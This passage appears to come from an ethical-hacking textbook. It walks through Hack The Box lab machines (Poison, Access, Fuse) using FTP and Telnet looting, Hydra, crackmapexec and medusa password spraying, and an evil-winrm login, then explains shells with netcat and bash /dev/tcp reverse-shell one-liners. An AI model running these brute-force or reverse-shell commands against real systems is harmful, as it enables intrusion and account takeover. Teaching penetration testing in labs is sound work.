2 ssh> -D 1080
3 Forwarding port.

On our local box, you can confirm that you can access this port by using:

1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $proxychains curl --http0.9 http://127.0.0.1:5901
3
4 ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|
5 -<>-127.0.0.1:1080-<><>-127.0.0.1:5901-<><>-OK RFB 003.008
hide01.ir
Note that you used proxychains here to access the VNC server. You could have used the --
socks5 argument to curl as well.

We can then run vncviewer using proxychains. This asks for a password and so trying the
"secret" file that you got from unzipping "secret.zip" from charix's home directory:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $proxychains vncviewer -passwd secret 127.0.0.1:5901
3 ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|
4 -<>-127.0.0.1:1080-<><>-127.0.0.1:5901-<><>-OK
5 Connected to RFB server, using protocol version 3.8
6 Enabling TightVNC protocol extensions
7 Performing standard VNC authentication
8 Authentication successful
9 Desktop name "root's X desktop (Poison:1)"

Which launches a VNC session as root

VNC session as root on Poison

VNC's encryption of passwords is more obfuscation than encryption as the key that is used
for the DES encryption is well known. It is trivial to find an application that will decrypt the
hide01.ir
password in the file "secret" and it turns out to be "VNCP@$$!".

Telnet and FTP

Telnet

Telnet is an old protocol that provides a command-line interface via remote access. The
telnet server usually listens on TCP port 23. Because it was never designed with security in
mind, it is less used for administration purposes on computers but is still used on network
devices and Internet of Things devices. A large number of IoT devices have shipped with
default passwords set for Telnet access allowing attackers to access and take over the
devices to enlist them in "botnets". Botnets are a collection of devices all running similar
software/malware that can be coordinated in an attack like a Distributed Denial of Service
(DdoS).

What commands are supported by the telnet server depends on the platform. On windows
for example, it will be the cmd.exe commands that are supported. On a Cisco network
switch, you will be presented with the Cisco CLI (Command Line Interface). In this regard, it
is similar to SSH in running a specific shell after a successful login.

FTP

File Transfer Protocol allows a client to upload and download files using a set of simple
commands. The FTP server normally has 2 TCP ports that it uses, port 21 for FTP
commands and port 20 for sending and receiving data. FTP operates in two different
modes active and passive. In active mode, the FTP client connects to the command port of
the server on port 21. The client starts listening for data on a port that is the next port from
the one it opened to connect to the server. The FTP server connects to this port on the client
from its local data port and sends or receives data when requested by the client.

The trouble with active mode is that clients are often behind firewalls or on a private
network that does not allow for inbound connections on dynamic ports. For this reason,
FTP also supports a passive mode. In passive mode, the server opens a random port for
data connections and passes this to the client to connect to. Of course, having the FTP
hide01.ir
server open to a range of open ports to support passive mode creates security
vulnerabilities of its own.

Exercise: Enumerating and exploiting FTP and Telnet on Hack The Box case machine
Access

Access is a Windows box that has an FTP server on which you will find a backup of an MS
Access database and a password-protected ZIP file containing a backup of a Microsoft
Outlook email file. Dumping the Access database give server usernames and passwords,
one of which can be used to unzip the ZIP file. Viewing the emails in the PST file found
there, gives another password that can be used to gain access via Telnet.

An nmap scan shows that the TCP ports 21 (FTP), 23 (Telnet) and 80 (HTTP) are open.
Nmap tells you that anonymous login is allowed on FTP.

1 ┌─[✗]─[rin@parrot]─[~/boxes/Access]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- access.htb -oA nmap/ful
3 PORT STATE SERVICE VERSION
4 21/tcp open ftp Microsoft ftpd
5 | ftp-anon: Anonymous FTP login allowed (FTP code 230)
6 |_Can't get directory listing: PASV failed: 425 Cannot open data connectio
7 | ftp-syst:
8 |_ SYST: Windows_NT
9 23/tcp open telnet?
10 80/tcp open http Microsoft IIS httpd 7.5
11 | http-methods:
12 | Supported Methods: OPTIONS TRACE GET HEAD POST
13 |_ Potentially risky methods: TRACE
14 |_http-server-header: Microsoft-IIS/7.5
15 |_http-title: MegaCorp
16 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

On logging in with user anonymous, password anonymous, you find 2 directories,


"Backups" and "Engineer". The Backups directory contains an mdb file which indicates that
it is a backup of an Access database file. The Engineer directory contains a zip file named
"Access Control.zip".

To download everything to our machine, we can use wget from our local machine:
1
hide01.ir
┌─[rin@parrot]─[~/boxes/Access/FTP]
2 └──╼ $wget -r --no-passive-ftp ftp://anonymous:[email protected]
3 --2021-02-28 14:58:13-- ftp://anonymous:*password*@access.htb/
4 => ‘access.htb/.listing’
5 Resolving access.htb (access.htb)... 10.129.105.84
6 Connecting to access.htb (access.htb)|10.129.105.84|:21... connected.
7 Logging in as anonymous ... Logged in!
8 <SNIP>

The -r flag tells wget to do a recursive fetch which goes into every directory and fetches the
contents. The --no-passive-ftp flag tells wget not to try and download files using passive
mode. If you try and run the command without the --no-passive-ftp flag, wget will try and
establish passive mode and fail, aborting the command.

Once the command completes, you will have the following on your local disk:

1 ┌─[rin@parrot]─[~/boxes/Access/FTP]
2 └──╼ $tree access.htb
3 access.htb
4 ├── Backups
5 │ └── backup.mdb
6 └── Engineer
7 └── Access Control.zip
8 2 directories, 2 files

If you try and unzip Access Control.zip, it will give an error saying that it can't unzip because
the zip file uses "unsupported compression method 99" which means that it was zipped
using 7-Zip. If you try 7z on it, you will be prompted for a password. So leaving that for the
moment, you can explore the access database backup using mdbtools which can be
installed with:

1 ┌─[rin@parrot]─[~]
2 └──╼ $sudo apt install mdbtools

Create a directory called tables and move backup.mdb into it then run:
hide01.ir
for I in $(mdb-tables backup.mdb);do mdb-export backup.mdb $i > $i;done

This script will get each table name and then export the contents of the table, saving it to a
file named using the table name. Most of the tables are empty and you can sort the files by
line count using:

wc -l * | sort -n

On looking at the files with more than 2 lines, you will notice a table called auth_user:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Access/tables]
2 └──╼ $cat auth_user
3 id,username,password,Status,last_login,RoleID,Remark
4 25,"admin","admin",1,"08/23/18 21:11:47",26,
5 27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
6 28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

The first thing to try is the engineer password on the zip file:

1 ┌─[rin@parrot]─[~/boxes/Access/access.htb/Engineer]
2 └──╼ $7z x 'Access Control.zip'
3 7-Zip [64] 16.02 : Copyright I 1999-2016 Igor Pavlov : 2016-05-21
4 p7zip Version 16.02 (locale=en_AU.UTF-8,Utf16=on,HugeFiles=on,64 bits,
5 2 CPUs IntelI CoreI i9-9980HK CPU @ 2.40GHz (906ED),ASM,AES-NI)
6 Scanning the drive for archives:
7 1 file, 10870 bytes (11 KiB)
8 Extracting archive: Access Control.zip
9 --
10 Path = Access Control.zip
11 Type = zip
12 Physical Size = 10870
13 Enter password (will not be echoed):
14 Everything is Ok
15 Size: 271360
16 Compressed: 10870
hide01.ir
The pst file is a Microsoft Outlook email file that can be read using the program "readpst".
Running this on "Access Control.pst" will extract an mbox file. With cat, the contents reveal
an email that is in the "Deleted Items" folder. This email is from [email protected] to
[email protected] saying that:

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please
ensure this is passed on to your engineers.

You can then use the username security and password 4Cc3ssC0ntr0ller to telnet onto the
box:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Access]
2 └──╼ $telnet access.htb
3 Trying 10.129.45.60...
4 Connected to access.htb.
5 Escape character is '^]'.
6 Welcome to Microsoft Telnet Service
7 login: security
8 password:
9 *===============================================================
10 Microsoft Telnet Server.
11 *===============================================================
12 C:\Users\security>whoami
13 access\security
14 C:\Users\security>

It won't be long before you notice that the shell that Telnet provides is limited. The arrow
keys don't work and nor does the delete key. Output is not formatted correctly. This is a very
good example of where the shell is not a full TTY. You can improve things by running a
Nishang PowerShell reverse shell, but I will leave this here for the moment and come back
later when I discuss privilege escalation and persistence.

Brute forcing remote service passwords

We have already come across some examples of brute forcing passwords (and usernames)
but we are going to go into the subject a bit more deeply here and look one tool in particular
hide01.ir
THC Hydra to brute force a variety of remote services. First, it is worth mentioning some
background about passwords. The perceived wisdom about passwords has changed with
the main recommendation for passwords being length and not complexity (NIST SP 800-
63B (https://pages.nist.gov/800-63-3/sp800-63b.html)\). The determination was that
adding rules about specific characters and complexity only added a burden on users to
remember the password and led to behaviors where users used patterns to choose their
passwords. The advent of highly efficient offline password hashing and checking
computers along with millions of available breached passwords has led to the increased
possibility of a password being brute forced.

Password hashing depends on the use of a mathematical function that is called a one-way
function. It is easy to calculate the hash of a piece of plain text but almost impossible to
generate the text from the hash. Hashes are also of fixed length, so no matter how long the
piece of text being hashed, the hash itself is always the same length. In the case of the
SHA-512 hashing algorithm commonly used on modern Linux-based systems, the output is
64 bytes long. If the only thing that was done with a password was to take the plain text
and hash it, it would not be very secure. This is because it would be possible to use tables
of pre-computed hashes, called rainbow tables) for millions of common passwords and
compare them to the hash to get a match. That process would be very fast. Even without
the rainbow tables, doing a brute force on a dictionary of words by hashing each word and
comparing it with the hash we want to crack would also be very fast, especially on modern
computers with Graphical Processing Units (GPUs).

To prevent these types of attacks, password hashing uses a salt, a piece of random text
that is up to 16 characters long (for the SHA-512 hashing algorithm) and adds that to the
password and hashes that. However, it doesn't just do this one, it does it a minimum of
1,000 times taking the product of each round and adding it back in a variety of ways. The
aim of this process is to make the calculation of hashes computationally expensive i.e. to
slow it down.

Of course, not all password hashes are generated in this way and despite the improvements
in hashing algorithms, it is still possible to brute force passwords if they are short and are a
common dictionary word.

There are two main ways of brute forcing a password: online and offline. We have
encountered methods for both already but let's start with offline cracking. Obtaining
password hashes is only the beginning of the process of being able to crack them. We first
hide01.ir
have to identify what type of hash we are dealing with. The password cracking software
hashcat has a flag that will show example hashes for all of the different hashing modes.
To list all of the modes of hashing that hashcat supports, you can use the --help flag

1 ┌─[rin@parrot]─[~/book]
2 └──╼ $hashcat --help
3 <SNIP>
4 [ Hash modes ] -
5 # | Name | Category
6 ======+=====================+======================================
7 900 | MD4 | Raw Hash
8 0 | MD5 | Raw Hash
9 100 | SHA1 | Raw Hash
10 1300 | SHA2-224 | Raw Hash
11 1400 | SHA2-256 | Raw Hash
12 10800 | SHA2-384 | Raw Hash
13 1700 | SHA2-512 | Raw Hash
14 17300 | SHA3-224 | Raw Hash
15 17400 | SHA3-256 | Raw Hash
16 17500 | SHA3-384 | Raw Hash
17 17600 | SHA3-512 | Raw Hash
18 6000 | RIPEMD-160 | Raw Hash
19 600 | BLAKE2b-512 | Raw Hash
20 <SNIP>

For each of these modes, we can show an example of the hash by using --example-hashes

1 ┌─[rin@parrot]─[~/boxes]
2 └──╼ $hashcat -m 1800 --example-hashes
3 hashcat (v6.1.1) starting...
4 MODE: 1800
5 TYPE: sha512crypt $6$, SHA512 (Unix)
6 HASH: $6$72820166$U4DVzpcYxgw7MVVDGGvB2/H5lRistD5.Ah4upwENR5UtffLR4X4SxSzf
7 PASS: hashcat

Password cracking can operate in a number of different ways. The first and most basic is
to simply try every character combination in sequence. At the opposite end of the scale is to
use dictionaries of common passwords and/or common character combinations. As
variants of these two approaches, we can optimize the dictionaries by applying what we
hide01.ir
know about the password syntax rules and also information we may have gathered about
the target, personal details like hobbies and interests, dates of birth, where they work etc.

In terms of password syntax, we may know what the minimum and maximum numbers of
characters are, whether there needs to be a capital letter, special characters and numbers.
Armed with this knowledge, we can simply parse dictionaries like rockyou.txt with a tool like
grep. For example, if we wanted to get words that are between 8 and 9 characters long, we
could use:

egrep '^.{8,9}$' passwords.txt

egrep is an alias for grep -E which supports extended regular expressions. Regular
expressions are a set of patterns that will match text according to certain rules. In this
expression, the ^ matches the start of a string. The . matches any character and the {8,9}
will match characters 8 or 9 times. Finally, the $ matches the end of the word. We can make
this expression exclude words that have uppercase letters in them:

egrep '^[^[:upper:]]{6,7}$' passwords.txt

The expression [[:upper:]] matches uppercase letters and the ^ within the [] means 'not'.

The approach of taking a password list and refining it certainly makes the process of
cracking faster, provided the password you are looking for is in the list. However, even
though a person may use a common password, they will often change it by altering
numbers at the end, either a sequence or referring to a specific date for example. A fan of
the French soccer team may have the password France2018 representing one of the years
that France won the FIFA World Cup.

The tool CUPP (Common User Passwords Profiler) (https://github.com/Mebus/cupp\) will


ask a series of questions about a target to create a set of possible password combinations.
Of course this relies on having access to personal information about the target such as
their family members' names, dates of birth, pet names, work and hobbies.
hide01.ir
Another approach is to crawl a company website for potential words that could be used as
a password using a tool like CeWL (Custom Word List Generator
https://digi.ninja/projects/cewl.php\). Again, this isn't sophisticated, it just takes words that
it finds and creates a password list.

Once you have a wordlist, you can use tools to take the words and create different
combinations to create a more extensive list of passwords. One of these is Mentalist (git
clone https://github.com/sc0tfree/mentalist.git\) which allows you to take a wordlist and
then apply a chain of transformations that will do things like change case, substitute
numbers for letters and other substitutions (e.g. zero instead of the letter O, 3 instead of e, 5
instead of s) and to take things like zip or postal codes and other words and prepend or
postpend them to the word. You can either use this to generate a new dictionary to use for
cracking, or create a set of rules that can be directly used by John The Ripper or Hashcat.

We will go through an example of generating a custom word list in a moment, but first we
can turn to tools for testing passwords directly with an application online. This has become
much more challenging recently with improvements in applications that will lock users out
after a small number of failed login attempts. However, it can still work where these
protections have not been applied, websites with poor security practices, services that do
not have the means for password protections of this sort and devices like the Internet of
Things where again, password protection is not implemented by default.

Online Password Brute Force

We have already seen a number of tools that can be used to test usernames and
passwords for specific remote services. The most comprehensive of these is THC Hydra
(https://github.com/vanhauser-thc/thc-hydra\) which supports more than 50 different
protocols. The basic syntax of Hydra is illustrated in the examples printed out with the use
of hydra -h

1 hydra -l user -P passlist.txt ftp://192.168.0.1


2 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
3 hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
4 hydra -l admin -p password ftp://[192.168.0.0/24]/
5 hydra -L logins.txt -P pws.txt -M targets.txt ssh
hide01.ir
The -l and -p flags expect a username and password respectively. The capital versions -L
and -P will accept files of usernames and passwords. The service is of the format:

<protocol>://<IP Address>:<Port>/<Protocol Options>

<protocol> will be the type of service such as http, smb, ftp pop3. The port can be specified
in addition to the IP address although the default port will be used if this is omitted. Finally,
there is the ability to specify particular authentication variants as part of the protocol
specification.

Medusa is another tool, like hydra, which will allow the brute forcing of a range of different
services but it has been largely unmaintained since 2015.

Metasploit also has a number of scanners for services such as FTP, SMB and SSH that will
do brute force logins as well. There are also other tools such as Crackmapexec which
supports a few protocols such as SMB, HTTP and MSSQL (Microsoft SQL Server).

As we will see however, all of these tools respond differently to different settings and
protocols and so it is possible to get both false positives and negatives. Checking with
another tool is always a good idea.

Exercise: Brute forcing usernames and passwords for


remote access on Hack The Box machine Fuse

In this exercise, we enumerate users and potential passwords from the public website of the
machine Fuse. We then use a few tools, including Kerbrute and CrackMapExec. Eventually
we get a username and password that allows us to gain remote access to the machine
using evil-winrm.

An nmap scan of the box gives us the following ports:


hide01.ir
1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $nmap -v -sC -sV -T4 --min-rate 1000 -p- fuse.htb -oA nmap/full-tcp
3 <SNIP>
4 PORT STATE SERVICE VERSION
5 53/tcp open domain Simple DNS Plus
6 80/tcp open http Microsoft IIS httpd 10.0
7 | http-methods:
8 | Supported Methods: OPTIONS TRACE GET HEAD POST
9 |_ Potentially risky methods: TRACE
10 |_http-server-header: Microsoft-IIS/10.0
11 |_http-title: Site doesn't have a title (text/html).
12 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time:
13 2020-12-21 03:44:56Z)
14 135/tcp open msrpc Microsoft Windows RPC
15 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
16 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:
17 fabricorp.local, Site: Default-First-Site-Name)
18 445/tcp open microsoft-ds Windows Server 2016 Standard 14393
19 microsoft-ds (workgroup: FABRICORP)
20 464/tcp open kpasswd5?
21 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
22 636/tcp open tcpwrapped
23 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:
24 fabricorp.local, Site: Default-First-Site-Name)
25 3269/tcp open tcpwrapped
26 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
27 |_http-server-header: Microsoft-HTTPAPI/2.0
28 |_http-title: Not Found
29 9389/tcp open mc-nmf .NET Message Framing
30 49666/tcp open msrpc Microsoft Windows RPC
31 49667/tcp open msrpc Microsoft Windows RPC
32 49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
33 49676/tcp open msrpc Microsoft Windows RPC
34 49679/tcp open msrpc Microsoft Windows RPC
35 49697/tcp open msrpc Microsoft Windows RPC
36 49755/tcp open msrpc Microsoft Windows RPC
37 Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows
38 Host script results:
39 |_clock-skew: mean: 2h55m31s, deviation: 4h37m09s, median: 15m29s
40 | smb-os-discovery:
41 | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3
42 | Computer name: Fuse
43 | NetBIOS computer name: FUSE\x00
44 | Domain name: fabricorp.local
45 | Forest name: fabricorp.local
46 | FQDN: Fuse.fabricorp.local
47 |_ System time: 2020-12-20T19:45:52-08:00
48 | smb-security-mode:
49 | account_used: <blank>
50 | authentication_level: user
51
hide01.ir
| challenge_response: supported
52 |_ message_signing: required
53 | smb2-security-mode:
54 | 2.02:
55 |_ Message signing enabled and required
56 | smb2-time:
57 | date: 2020-12-21T03:45:51
58 |_ start_date: 2020-12-21T03:35:26

The OS discovery suggests that the box is a Windows Server 2016. The variety of ports like
DNS, LDAP and Kerberos suggest that it is an Active Directory domain controller with the
domain fabricorp.local. We can add this hostname to the /etc/hosts file. An interesting note
at this point is whether add the fabricorp.local DNS to the list of nameservers to query so
that any other subdomains would be accessible automatically. You can normally do this by
adding the entry nameserver <IP address> to the file /etc/resolv.conf. However, in this case,
the DNS returned the incorrect IP address for fabricorp.local and so this is not an option.

Going to the website, we get redirected to the URL


http://fuse.fabricorp.local/papercut/logs/html/index.htm and so we can add
fuse.fabricorp.local to the /etc/hosts file as well. This gives us a page shown here:

fuse.fabricorp.local home page. A PaperCut printing administration page.


hide01.ir
The page is an instance of the PaperCut printing software printer logs. On the page, we can
see print logs for 3 specific days. Going into each entry, we find records of print jobs for a
variety of users as in the entry for the 29th May 2020.

Print log for 29th May 2020

Enumerating the website it is apparent that the site is static HTML and so even if there was
a CVE related to this version of PaperCut, there would be nothing to exploit. Instead, we can
focus on the users that are listed with the print jobs:

1 pmerton
2 tlavel
3 sthompson
4 bhult
5 administrator

We can add these to a file users.txt and use a program kerbrute to check if these users exist
on the fabricorp.local domain.

To get kerbrute, you can download a release from


https://github.com/ropnop/kerbrute.

Running this with the users listed above, we get:


hide01.ir
1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $kerbrute userenum -d fabricorp.local --dc fabricorp.local users.txt
3 __ __ __
4 / /_____ _____/ /_ _______ __/ /____
5 / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
6 / ,< / __/ / / /_/ / / / /_/ / /_/ __/
7 /_/|_|\\_/_/ /_.___/_/ \\,_/\\/\\_/
8 Version: v1.0.3 (9dad6e1) - 12/21/20 - Ronnie Flathers @ropnop
9 2020/12/21 13:58:13 > Using KDC(s):
10 2020/12/21 13:58:13 > fabricorp.local:88
11 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
12 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
13 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
14 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
15 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
16 2020/12/21 13:58:14 > Done! Tested 5 usernames (5 valid) in 0.389 seconds

Now that we have valid usernames, we need password candidates and a place to try them.
We are going to use CeWL to parse the website and generate a wordlist.

1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $cewl -d 3 -m 8 --with-numbers -w fabricorp_wordlist.txt
3 http://fuse.fabricorp.local/papercut/logs/html/index.htm
4
5 CeWL 5.4.8 (Inclusion) Robin Wood ([email protected]) (https://digi.ninja/)

We have specified a depth of 3 (-d 3) for the program to crawl, a minimum password length
of 8 (-m 8), we want words that contain numbers (--with-numbers) and an output file
fabricorp_wordlist.txt and the URL of the home page we want to crawl. This generates a
wordlist of the type:

1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $cat fabricorp_wordlist.txt
3 PaperCut
4 GRAYSCALE
5 papercut
6 sthompson
7 LONWK019
8 Document
9 Grayscale
hide01.ir
10 Software
11 Copyright
12 Location
13 NotepadLETTER
14 Language
15 printing
16 International
17 bnielson
18 LONWK015
19 mountain
20 Fabricorp01

We can't use Hydra with this machine. It will error out when trying to brute force SMB and if
you try SMB v2, after compiling a version with this support, it will not report the specific
SMB error we are looking for. To do that, we need to use crackmapexec which illustrates
that sometimes using a range of tools is a good option. Using crackmapexec, we get an
error for the user tlavel and password Fabricorp01 that the
STATUS_PASSWORD_MUST_CHANGE.

1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $crackmapexec smb fuse.htb -u users.txt -p fabricorp_wordlist.txt
3 SMB 10.129.2.5 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:F
4 (domain:fabricorp.local) (signing:True) (SMBv1:True)
5 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\pmerton:PaperCut STATUS_LOGON_
6 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\tlavel:LONWK015 STATUS_LOGON_F
7 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\tlavel:mountain STATUS_LOGON_F
8 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\tlavel:Fabricorp01
9 STATUS_PASSWORD_MUST_CHANGE

An alternative to crackmapexec is medusa which can be used with the the user file (-U
users.txt), the password file (-P fabricorp_wordlist.txt) and the SMB NT module (-M smbnt).
This gives the following output:

1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $medusa -h fuse.htb -U users.txt -P fabricorp_wordlist.txt -M smbnt
3 Medusa v2.2 [
4 http://www.foofus.net\
5 ] (C) JoMo-Kun / Foofus Networks <[email protected]>
6 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete)
7
hide01.ir
User: pmerton (1 of 5, 0 complete) Password: PaperCut (1 of 45 complet
8 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete)
9 User: pmerton (1 of 5, 0 complete) Password: GRAYSCALE (2 of 45 comple
10 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete)
11 User: pmerton (1 of 5, 0 complete) Password: papercut (3 of 45 complet
12 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete)
13 User: pmerton (1 of 5, 0 complete) Password: sthompson (4 of 45 comple
14 <SNIP>
15 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete)
16 User: tlavel (2 of 5, 1 complete) Password: Fabricorp01 (18 of 45 comp
17 ACCOUNT FOUND: [smbnt] Host: fuse.htb
18 User: tlavel Password: Fabricorp01
19 [SUCCESS (0x000224:STATUS_PASSWORD_MUST_CHANGE)]
20 <SNIP>

Whichever way you do it, the end result is that the password for tlavel, Fabricorp01 needs to
be reset. We can do this with smbpasswd:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $smbpasswd -U tlavel -r fabricorp.local
3 Old SMB password:
4 New SMB password:
5 Retype new SMB password:
6 Password changed for user tlavel

If we test the new password Fabricorp02 with crackmapexec, we get:

1 ┌─[rin@parrot]─[/opt/impacket]
2 └──╼ $crackmapexec smb fuse.htb -u tlavel -p Fabricorp02
3 SMB 10.129.70.212 445 FUSE [*] Windows Server 2016 Standard 14393 x64
4 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
5 SMB 10.129.70.212 445 FUSE [+] fabricorp.local\tlavel:Fabricorp02

The password gets reset every minute on this machine back to Fabricorp01 and so
whatever we do to test access, we need to do it straight after resetting the password. There
is also a password history kept and so each time the password is changed from
Fabricorp01, it needs to be changed to an entirely new password.
hide01.ir
We can do that and then log into the machine using rpcclient. Interestingly, rpcclient will
also report NT_STATUS_PASSWORD_MUST_CHANGE if we use the original Fabricorp01

1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $rpcclient -U tlavel fuse.htb
3 Enter WORKGROUP\tlavel's password:
4 Cannot connect to server. Error was NT_STATUS_PASSWORD_MUST_CHANGE

Using enumdomusers to enumerate the users on the box, we get an extended list of users:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $rpcclient -U tlavel fuse.htb
3 Enter WORKGROUP\tlavel's password:
4 rpcclient $> enumdomusers
5 user:[Administrator] rid:[0x1f4]
6 user:[Guest] rid:[0x1f5]
7 user:[krbtgt] rid:[0x1f6]
8 user:[DefaultAccount] rid:[0x1f7]
9 user:[svc-print] rid:[0x450]
10 user:[bnielson] rid:[0x451]
11 user:[sthompson] rid:[0x641]
12 user:[tlavel] rid:[0x642]
13 user:[pmerton] rid:[0x643]
14 user:[svc-scan] rid:[0x645]
15 user:[bhult] rid:[0x1bbd]
16 user:[dandrews] rid:[0x1bbe]
17 user:[mberbatov] rid:[0x1db1]
18 user:[astein] rid:[0x1db2]
19 user:[dmuir] rid:[0x1db3]
20 rpcclient $>

We can collect all of the users and create a new users file with these users in it called
rpc_users.txt and then just extract the usernames with the command:

cat rpc_users.txt | awk -F '\[|]' '{print $2}' > rpc_users2.txt


hide01.ir
The awk command uses the -F flag to specify the field separator regular expression. We are
separating the text between the square bracket ([]) characters. The '\' is necessary to escape
the first [. If we try and write to the same file, it will end up blank and so that is why we need
to create a separate file.

Back on rpcclient, we can look at printers that might be shared by using the enumprinters
command. This gives output which contains a password:

1 rpcclient $> enumprinters


2 flags:[0x800000]
3 name:[\10.129.70.212\HP-MFT01]
4 description:[\10.129.70.212\HP-MFT01,HP Universal Printing PCL 6,
5 Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
6 comment:[]
7 rpcclient $>

A password has been saved in the description $fab@s3Rv1ce$1 which we can test with the
users we enumerated earlier:

1 ┌─[oztechmuse@parrot]─[~/boxes/Fuse]
2 └──╼ $crackmapexec smb fuse.htb -u rpc_users.txt -p '$fab@s3Rv1ce$1'
3 SMB 10.129.70.212 445 FUSE [*] Windows Server 2016 Standard 14393 x64
4 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
5 SMB 10.129.70.212 445 FUSE [-] fabricorp.local\Administrator:$fab@s3Rv1ce$
6 STATUS_LOGON_FAILURE
7 SMB 10.129.70.212 445 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1

We get a hit with the username svc-print which we can then use to get access with evil-
wrinrm:

1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $evil-winrm -u svc-print -p '$fab@s3Rv1ce$1' -i fuse.htb
3 Evil-WinRM shell v2.3
4 Info: Establishing connection to remote endpoint
5 *Evil-WinRM* PS C:\Users\svc-print\Documents>
hide01.ir
The user flag is in c:\Users\svc-print\Desktop\users.txt.

We will leave this here and come back to Fuse in a subsequent chapter where we cover
further enumeration for discovery and privilege escalation. Next however we are going to
explore custom exploitation as a means of gaining initial access.
hide01.ir
Shells
Although there are graphical user interface (GUI) based applications that perform a large
number of the functions involved in ethical hacking, you will end up spending a great deal
of time typing commands at a command line prompt in a “shell”. The shell itself is a
program that accepts commands to interact with the operating system of the computer and
other programs. There are a variety of shells with the two most common shells on Linux
being the Bourne shell or “sh” and the Bourne again shell “bash”. On Apple’s macOS the
default shell now in the terminal program is the “zsh”. On Windows, there are a variety of
command-line programs. There is the original command program “cmd.exe”,
“powershell.exe” which is the PowerShell interpreter and the Linux Terminal which
interfaces with the Windows Subsystem for Linux (WSL). Microsoft has also released an
Open Source Windows Terminal.

An important consideration for our purposes is the way shells handle input, output and
errors. All programs communicate over the communication channels, referred to as the
standard streams stdin (standard in), stdout (standard out) and stderr (standard error). As
with all things on Linux, these streams are treated as files and have a number that identifies
them, the file descriptor. In the case of the standard streams, the file descriptors (fd) are:

1 stdin 0
2 stdout 1
3 stderr 2

Theses streams can be redirected by using the “>” notation. For example, to redirect output
and error messages to a single file, you can use the command:

ls 2>&1 output.txt

Likewise, stdin can be redirected by using the “<” redirection symbol. A trivial example is
using “cat” to display the contents of a file hello.txt which contains “hello”

1 ┌─[✗]─[rin@parrot]─[~/]
2 └──╼ $cat < hello.txt
3 hello
hide01.ir
Other than being a convenience, the ability to redirect the standard streams becomes
important when trying to run a shell on a remote machine, something that is often the key
of gaining control over a machine. Since the standard streams can be redirected, they can
be redirected over network sockets that transport the data over a network. The idea is
depicted in the following diagram:

Principles of a remote shell redirecting stdin, stdout and stderror over a network socket

This entire process is made simpler through the use of a program called Netcat that can
handle the IO redirection for a program over a network. In what is called a “reverse shell”,
you start a Netcat session on a local machine to listen for incoming connections:

nc -lvnp 6001

This tells netcat to listen (-l) on port (-p) 6001 (any number port that is not being used) on
all IP addresses for incoming connections (-v is for verbose output, -n is for no DNS). On the
target machine, you can run:

nc <listen machine IP> 6001 -e /bin/bash

This will execute bash and send all IO to the listening machine.

An alternative to reverse shells are “bind shells”. In this case the process listens on the
attacking machine and the attacker initiates the connection from the attacking machine.
The commands are the same but reversed.
hide01.ir
Netcat is one tool to create a reverse shell. There are numerous other ways of achieving the
same result of handling the standard streams. Another common and useful way of sending
a reverse shell is by using built in networking functions of bash.

bash -i >& /dev/tcp/10.0.0.1/6001 0>&1

Although this looks complicated, it is running a bash shell in interactive mode (-i) and
